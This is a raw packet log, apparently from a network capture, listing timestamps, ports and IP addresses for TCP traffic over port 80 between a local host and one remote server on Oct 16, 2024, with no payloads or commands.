Oct 16, 2024 19:22:39.413259029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413285017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413289070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413295984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413348913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413353920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413410902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413410902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413410902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413410902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413428068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413448095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413510084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413513899 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413522959 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413556099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413556099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413556099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413556099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413564920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413569927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413578987 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413583040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413587093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413590908 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413595915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413611889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413748026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413748026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413748026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413748026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413886070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413901091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413906097 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.413943052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.413943052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414073944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414073944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414073944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414073944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414073944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414093018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414216995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414222002 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414311886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414311886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414311886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414541960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414541960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414562941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414581060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414619923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414705992 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414710999 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414741993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414741993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414741993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414741993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414747000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414752007 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414779902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414779902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.414784908 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414789915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414793968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414798021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414805889 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414809942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414818048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414823055 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414833069 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.414836884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415005922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415005922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415005922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415036917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415056944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415086031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415143013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415143013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415143013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415190935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415218115 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415229082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415232897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415241003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415245056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415249109 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415278912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415278912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415278912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415333986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415344954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415404081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415404081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415435076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415453911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415468931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415479898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415508986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415525913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415561914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415582895 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415597916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415641069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415641069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415641069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415664911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415669918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415678978 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415683031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415685892 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415692091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415692091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415702105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415726900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.415790081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415808916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415823936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415857077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415889025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415889025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415936947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415936947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415976048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.415976048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416009903 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416160107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416163921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416172981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416177034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416255951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416261911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416270971 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416285038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416289091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416296005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416296005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416297913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416301966 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416311026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416321993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416326046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416374922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416378975 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416380882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416388035 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416393042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416397095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416398048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416407108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416419983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416544914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416546106 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416673899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416673899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416673899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416673899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416673899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416707039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416707039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416738033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416752100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416798115 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416815042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416815042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416870117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416870117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416870117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416877985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416893005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416955948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416955948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.416956902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.416986942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417006969 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.417021036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417045116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417095900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417095900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417228937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417251110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417288065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.417298079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417298079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417375088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417390108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417390108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417399883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417443991 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.417450905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417450905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417512894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417512894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417512894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417685986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417752981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417752981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417752981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417804003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417804003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417818069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417850018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417870998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417924881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417924881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417994022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417994022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.417994022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418000937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418013096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418071032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418086052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418090105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418102026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418159008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418173075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418174982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418225050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418225050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418344021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418344021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418344021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418344021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418344021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418376923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418399096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418431044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418457985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418494940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418494940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418513060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418571949 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418576956 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418586016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418592930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418602943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418606043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418642998 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418651104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418651104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418651104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418651104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418742895 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418746948 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418767929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418767929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418767929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418767929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418767929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418797016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418802023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418811083 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418814898 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418823004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418827057 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418831110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.418836117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418836117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418930054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418930054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418965101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418965101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418998003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.418998003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419091940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419091940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419091940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419123888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419188976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419188976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419320107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.419349909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419349909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419478893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419562101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419562101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419562101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419575930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419698000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419698000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419698000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419698000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419698000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419724941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419739008 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.419744015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.419744015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419794083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419794083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419821024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419853926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.419936895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420005083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420005083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420005083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420005083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420020103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420020103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420059919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.420063019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420063019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420068979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.420070887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.420097113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420229912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420229912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420229912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420229912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420229912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.420327902 CEST	49716	80	192.168.2.9	185.215.113.19
